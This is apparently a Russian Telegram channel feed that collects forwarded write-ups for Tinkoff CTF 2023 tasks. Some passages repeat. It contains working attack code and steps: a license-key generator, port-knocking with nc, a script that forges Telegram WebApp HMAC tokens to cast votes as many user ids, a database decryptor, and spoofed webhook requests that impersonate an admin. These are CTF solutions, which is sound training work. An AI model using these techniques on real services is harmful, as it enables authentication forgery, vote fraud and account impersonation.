Forwarded from Хакер Володя
Написал райтапы на 7 тасков "лиги опытных" с прошедшего на выходных Tinkoff CTF. Спасибо разработчикам заданий из SpbCTF, получилось жоско и не уцуцужно.
https://hacker-volodya.notion.site/IT-s-Tinkoff-CTF-2023-28a32a3686e7453087ccff0b42742ed1?pvs=4
https://hacker-volodya.notion.site/IT-s-Tinkoff-CTF-2023-28a32a3686e7453087ccff0b42742ed1?pvs=4
hacker-volodya on Notion
IT’s Tinkoff CTF 2023 | Notion
На выходных состоялся CTF под айти-брендом Тинькофф. В течение 36 часов мы втроём с друганами ковыряли 30 тасков разной степени сложности и упоротости. Думаю, это был один из лучших российских цтфов за последнее время: за разработку заданий отвечали ребята…
❤2
👌5🤡1
Forwarded from أبو
window.onload = function() {
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
const msg = urlParams.get('msg');
if (msg) {
document.getElementById("message").innerText = msg;
}
}
function checkLicense() {
const license = document.getElementById("license").value;
if (isLicenseValid(license)) {
const form = document.createElement("form");
document.body.appendChild(form);
form.action = "/validate";
form.method = "POST";
const input = document.createElement("input");
input.type = "hidden";
input.name = "license";
input.value = license;
form.appendChild(input);
form.submit();
} else {
document.getElementById("message").innerText = "Invalid license key!";
}
}
function isLicenseValid(license) {
if (!isKeyFormatValid(license)) {
return false;
}
const [, serial, checksum] = license.replace(/-/g, "").match(/(.{16})(.{4})/);
if (!isSerialChecksumValid(serial, checksum)) {
return false;
}
const seed = serial.substring(0, 8);
if (!isSeedFormatValid(seed)) {
return false;
}
const subkey = getSubkeyFromSeed(seed, 36, 1, 137);
return serial.substring(8, 10) === subkey;
}
function isKeyFormatValid(key) {
return key.length === 24 && key.replace(/-/g, "").length === 20;
}
function isSerialChecksumValid(serial, checksum) {
return getChecksumForSerial(serial) === checksum;
}
function isSeedFormatValid(seed) {
return seed.match(/[A-F0-9]{8}/) !== null;
}
function getChecksumForSerial(serial) {
let sum1 = 175;
let sum2 = 86;
for (let i = 0; i < serial.length; i++) {
sum1 += serial.charCodeAt(i);
if (sum1 > 255) {
sum1 -= 255;
}
sum2 += sum1;
if (sum2 > 255) {
sum2 -= 255;
}
}
return toFixedHex((sum2 << 8) + sum1, 4);
}
function toFixedHex(value, length) {
return value.toString(16).toUpperCase().padStart(length, "0").substring(0, length);
}
function getSubkeyFromSeed(seed, shift, mod, xor) {
if (typeof seed === "string") {
seed = parseInt(seed, 16);
}
mod %= 3;
let result;
if (shift % 25 % 2 === 0) {
result = (seed >> shift & 255) ^ (255 & (seed >> mod | xor));
} else {
result = (seed >> shift & 255) ^ (seed >> mod & xor & 255);
}
return toFixedHex(result, 2);
}
исходный код
👍1
Forwarded from أبو
function generateLicenseKey() {
let seed = Math.floor(Math.random() * Math.pow(16, 8)).toString(16).toUpperCase().padStart(8, "0");
let randomSerial = Math.floor(Math.random() * Math.pow(16, 6)).toString(16).toUpperCase().padStart(6, "0");
let subkey = getSubkeyFromSeed(seed, 36, 1, 137);
let serial = seed + subkey + randomSerial;
let checksum = getChecksumForSerial(serial);
let licenseKey = serial + checksum;
licenseKey = licenseKey.replace(/(.{4})/g, "\$1-").slice(0, -1);
return licenseKey;
}Forwarded from Mufti
1. Изучаем pcap видим много всякого переписки и прочее но мы ищем антилопу, делаем поиск lopa по пакетам находим пакет № 1662.
2. Смотри ip адрес пакета 45.82.152.190. Изучаем весь сетевой траффик с указаным сервером. ip.addr == 45.82.152.190
3. Находим 20 пакетов, первые 13 udp где просто идет SYN-flag, а в ответ ACK/RST, что порт не доступен.
4. Изучаем остальнык пакеты, там tcp сессия где мы и получаем изначальную строчку, обращение происходит по порту 11111.
nc 45.82.152.190 11111
5. Пытаемся подключится к данному порту сразу и у нас ничего не выходит.
6. Пытаемся полностью эмулировать ситуацию из траффика.
Нам необходимо так же отправить udp запросы на указанные порты сервера, для этого находим последовательность портов 228 8080 9090 5555 3306 3000 135 и используем утилиту knock
7. knock -u 45.82.152.190 228 8080 9090 5555 3306 3000 135. Флаг -u используем чтобы отправлять именно udp пакеты.
После чего пытаемся подключится к нужному порту 11111 и у нас опять не выходит.
Посмотря еще раз на трафик замечаем что новый запрос на порт отправляется только после проходящего ответа от предыдущего порта, для этого ипользуем флаг -d 100 чтоб сделать задержку.
итоговая команда
knock -d 100 -u 45.82.152.190 228 8080 9090 5555 3306 3000 135
После чего соеденение по порту 11111 становится доступным используем nc 45.82.152.190 11111 вводим ключ команды и получаем флаг.
2. Смотри ip адрес пакета 45.82.152.190. Изучаем весь сетевой траффик с указаным сервером. ip.addr == 45.82.152.190
3. Находим 20 пакетов, первые 13 udp где просто идет SYN-flag, а в ответ ACK/RST, что порт не доступен.
4. Изучаем остальнык пакеты, там tcp сессия где мы и получаем изначальную строчку, обращение происходит по порту 11111.
nc 45.82.152.190 11111
5. Пытаемся подключится к данному порту сразу и у нас ничего не выходит.
6. Пытаемся полностью эмулировать ситуацию из траффика.
Нам необходимо так же отправить udp запросы на указанные порты сервера, для этого находим последовательность портов 228 8080 9090 5555 3306 3000 135 и используем утилиту knock
7. knock -u 45.82.152.190 228 8080 9090 5555 3306 3000 135. Флаг -u используем чтобы отправлять именно udp пакеты.
После чего пытаемся подключится к нужному порту 11111 и у нас опять не выходит.
Посмотря еще раз на трафик замечаем что новый запрос на порт отправляется только после проходящего ответа от предыдущего порта, для этого ипользуем флаг -d 100 чтоб сделать задержку.
итоговая команда
knock -d 100 -u 45.82.152.190 228 8080 9090 5555 3306 3000 135
После чего соеденение по порту 11111 становится доступным используем nc 45.82.152.190 11111 вводим ключ команды и получаем флаг.
🔥12
Miss Fraud (#missfraud) от @vstepanovvv
import hashlib
import hmac
import json
from base64 import b64encode
import requests
import time
import urllib3
urllib3.disable_warnings()
def calc_hmac(key, parsed_data) -> str:
sorted_keys = sorted(parsed_data.keys())
data_check_string = '\n'.join([f'{key}={parsed_data.get(key)}' for key in sorted_keys])
# auth_date=1713654433\nquery_id=AAEAIsIOAAAAAAAiwg5KOFLV\nuser={YOUR_DATA_PLS}
data_check_string = data_check_string.replace(" ", "").replace("True", "true").replace("'", '"')
#print(data_check_string.encode("utf8"))
hmac_msg = hmac.new(key, data_check_string.encode("utf8"), hashlib.sha256)
return hmac_msg.digest().hex()
def calc_query_string(parsed_data):
query_string=f'query_id={parsed_data["query_id"]}&user={user}&auth_date={parsed_data["auth_date"]}&hash={hmac_hash}'.replace('"',"%22").replace('{', '%7B').replace(',', '%2C').replace(':', '%3A').replace('}', '%7D')
query_string=f'"{query_string}"'
query_string=b64encode(query_string.encode("utf8"))
#print(query_string.decode("utf8"))
return query_string.decode("utf8")
if __name__ == "__main__":
parsed_data = {
"query_id": "AAEAIsIOAAAAAAAiwg5KOFLV",
"user": {
YOUR_DATA
},
"auth_date": "1713654433",
}
key = bytes.fromhex("0b4162a45f8c74b4005a25d4c20b0158198c83b38462bd02e42cd18f9842dc83")
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "application/json",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/json",
"Te": "trailers",
"Authorization": "",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin"
}
post_data = {"contestant_id":2937}
#print(post_data)
for i in range(70, 2000):
parsed_data["user"]["id"] = i
hmac_hash = calc_hmac(key, parsed_data)
user = json.dumps(parsed_data["user"]).replace(" ", "")
query_string = calc_query_string(parsed_data)
headers["Authorization"] = f"Bearer {query_string}"
#print(headers)
#print()
resp = requests.post("https://t-pageant-ekbooq0e.spbctf.net/api/vote", json=post_data, cookies={"__cfduid":"CFDUID"}, verify=False, headers=headers)
time.sleep(0.05)
print("Success!")
🤡5
Forwarded from Вика
Проклятый старый дом
ключ: 0000-0000-0000-0000-EAB2
Смотрим условия и консолим, если надо. Ключ состоит из 20 символов.
Есть 2 проверки
1. Обработка первых 8 символов должна совпадать с 9 и 10 символом.
2. Обработка первых 16 символов должна совпадать с последними 4.
Сразу написала первые 16 символов 0. Последние 4 символа - результат обработки первых 16 символов.
function isLicenseValid(e) {
console.log('isKeyFormatValid(e)', isKeyFormatValid(e));
if (!isKeyFormatValid(e))
return !1;
const [,t,n] = e.replace(/-/g, "").match(/(.{16})(.{4})/);
console.log('isSerialChecksumValid(e)', isSerialChecksumValid(t, n));
if (!isSerialChecksumValid(t, n))
return !1;
const i = t.substring(0, 8);
console.log('isSeedFormatValid(e)', isSeedFormatValid(i));
if (!isSeedFormatValid(i))
return !1;
const r = getSubkeyFromSeed(i, 36, 1, 137);
t.substring(8, 10) === r
console.log('t.substring(8, 10) === r', t.substring(8, 10) === r, t.substring(8, 10), r);
return t.substring(8, 10) === r
}
ключ: 0000-0000-0000-0000-EAB2
Смотрим условия и консолим, если надо. Ключ состоит из 20 символов.
Есть 2 проверки
1. Обработка первых 8 символов должна совпадать с 9 и 10 символом.
2. Обработка первых 16 символов должна совпадать с последними 4.
Сразу написала первые 16 символов 0. Последние 4 символа - результат обработки первых 16 символов.
function isLicenseValid(e) {
console.log('isKeyFormatValid(e)', isKeyFormatValid(e));
if (!isKeyFormatValid(e))
return !1;
const [,t,n] = e.replace(/-/g, "").match(/(.{16})(.{4})/);
console.log('isSerialChecksumValid(e)', isSerialChecksumValid(t, n));
if (!isSerialChecksumValid(t, n))
return !1;
const i = t.substring(0, 8);
console.log('isSeedFormatValid(e)', isSeedFormatValid(i));
if (!isSeedFormatValid(i))
return !1;
const r = getSubkeyFromSeed(i, 36, 1, 137);
t.substring(8, 10) === r
console.log('t.substring(8, 10) === r', t.substring(8, 10) === r, t.substring(8, 10), r);
return t.substring(8, 10) === r
}
🔥2
Forwarded from Alexey Kirillov
Привет! Вот немножко райтапов по лиге новичков:
Культ кефира
Смотрим исходники в
Культ кефира
Смотрим исходники в
jadx, находим шифрование БД, пишем обратный расшифровщик, в полученном sqlite файле текстом лежит ключ.import hashlib
import hmac
from Crypto.Cipher import AES
import zlib
with open("MessengerDB.db_enc", "rb") as f:
data = f.read()
# From jadx
encryptionKey = bytearray([100, 97, 116, 97, 98, 97, 115, 101, 101, 110, 99, 114, 121, 112, 116, 105, 111, 110, 107, 101, 121])
str2_l = int.from_bytes(data[:2], "big")
iv = data[2:18]
enc_key_gen = data[38:str2_l+2]
enc_db = data[str2_l+2:-16]
orig_db_md5 = data[-16:]
#==========
# 16 bytes of 0
# mac = AES, HmacSHA256: enc_key_gen (zeros)
# mac2 = AES, HmacSHA256: enc_key_gen (mac)
mac = hmac.new(bytearray([0 for _ in range(16)]), enc_key_gen, hashlib.sha256).digest()
mac2 = hmac.new(mac, enc_key_gen, hashlib.sha256).digest()[:16]
#==========
# mac = AES, HmacSHA256: encryptionKey (enc_key)
# gen iv
# result = AES/GCM/NoPadding: deflater(src_db) (mac, iv)
mac = hmac.new(mac2, encryptionKey, hashlib.sha256).digest()[:16]
cipher = AES.new(mac, AES.MODE_GCM, iv)
dec = cipher.decrypt(enc_db)
with open("decrypted.sqlite", "wb") as f:
f.write(zlib.decompress(dec))
Forwarded from Aslan Taibov
Привет, вот такой промпт у нас в кощей
Forwarded from Вячеслав
You have chess like field with 26 by 26 size: e.t A-Z, 1-26 coordinates. Write a python code what read two coordinates in format 'A15' as sys arguments. Do not forget: second coordinate can consists of 1 or 2 symbols, they all are valid. Do not forget to check it. Then implemet BFS to find the shortest path between them using a knight piece and print a python list of it's coordinates in same format.
Forwarded from Aslan Taibov
Автор: чел из нашей тимы который понятия не имеет что такое ctf но зато люто шарит за LLMки)
#альткапоне от @bash_dev
Имею 2 команды,
/start - Дает меню с одной кнопкой "Да"
/admin - "Меню администратора доступно только @exmafiaguy"
Открыл данные сообщений, увидел там url картинки из ответа к /start: https://t-altcapone-r1m0mt9a.spbctf.net/images/mafia.webp
Перешел по нему, он показал варианты действий:
GET https://t-altcapone-r1m0mt9a.spbctf.net/
Use: ?action=<show_nginx_logs|start_ping>
Перешел по https://t-altcapone-r1m0mt9a.spbctf.net/?action=show_nginx_logs, увидел в логах "POST /telegram/webhook", понял то что работает он на вебхуках
Посмотрел id пользователя @exmafiaguy - 6818118044, Отправляю запросы на https://t-altcapone-r1m0mt9a.spbctf.net/telegram/webhook:
Первый с данными:
Что бы увидеть что там есть в админке, ответ:
Вижу что ничего нужного нет, шлю на следующую страницу,
Получаю то что искал,
Отправляю приглашение:
Просит отправить id пользователя которому нужно отправить приглашение с возможностью отмены:
Отправляю...
Ответ:
И мне в телеграм приходит сообщение от бота, такое же как ответ на /start, но с кнопкой "Нет")
После нажатия кнопки "Нет" получаю флаг))
Имею 2 команды,
/start - Дает меню с одной кнопкой "Да"
/admin - "Меню администратора доступно только @exmafiaguy"
Открыл данные сообщений, увидел там url картинки из ответа к /start: https://t-altcapone-r1m0mt9a.spbctf.net/images/mafia.webp
Перешел по нему, он показал варианты действий:
GET https://t-altcapone-r1m0mt9a.spbctf.net/
Use: ?action=<show_nginx_logs|start_ping>
Перешел по https://t-altcapone-r1m0mt9a.spbctf.net/?action=show_nginx_logs, увидел в логах "POST /telegram/webhook", понял то что работает он на вебхуках
Посмотрел id пользователя @exmafiaguy - 6818118044, Отправляю запросы на https://t-altcapone-r1m0mt9a.spbctf.net/telegram/webhook:
Первый с данными:
{
"message": {
"from": {
"id": 6818118044,
"first_name": "RasaSporT",
"username": "bash_dev"
},
"text": "/admin"
}
}Что бы увидеть что там есть в админке, ответ:
{
"chat_id": 6818118044,
"text": "Выберите действие",
"reply_markup": {
"inline_keyboard": [
[{
"text": "Перезагрузить nginx",
"callback_data": "inline_button_restartnginx"
}],
[{
"text": "Атаковать example.org",
"callback_data": "inline_button_ddosexample"
}],
[{
"text": "Пинговать google.com",
"callback_data": "inline_button_pinggoogle"
}],
[{
"text": "Другие >>",
"callback_data": "inline_button_nextpage"
}]
]
},
"method": "sendMessage"
}Вижу что ничего нужного нет, шлю на следующую страницу,
{
"callback_query": {
"from": {
"id": 6818118044,
"first_name": "RasaSporT",
"username": "bash_dev"
},
"data": "inline_button_nextpage"
}
}Получаю то что искал,
{
"chat_id": 6818118044,
"text": "Выберите действие",
"reply_markup": {
"inline_keyboard": [
[{
"text": "Отправить приглашение",
"callback_data": "inline_button_sendinvite"
}]
]
},
"method": "sendMessage"
}Отправляю приглашение:
{
"callback_query": {
"from": {
"id": 6818118044,
"first_name": "RasaSporT",
"username": "bash_dev"
},
"data": "inline_button_sendinvite"
}
}Просит отправить id пользователя которому нужно отправить приглашение с возможностью отмены:
{
"chat_id": 6818118044,
"text": "В следующие 10 секунд напишите ID чата, куда отправить приглашение",
"method": "sendMessage"
}Отправляю...
{
"message": {
"from": {
"id": 6818118044,
"first_name": "RasaSporT",
"username": "bash_dev"
},
"text": "800863363"
}
}Ответ:
{
"chat_id": 6818118044,
"text": "Успешно отправили приглашение.",
"method": "sendMessage"
}И мне в телеграм приходит сообщение от бота, такое же как ответ на /start, но с кнопкой "Нет")
После нажатия кнопки "Нет" получаю флаг))
🔥9🤨2👍1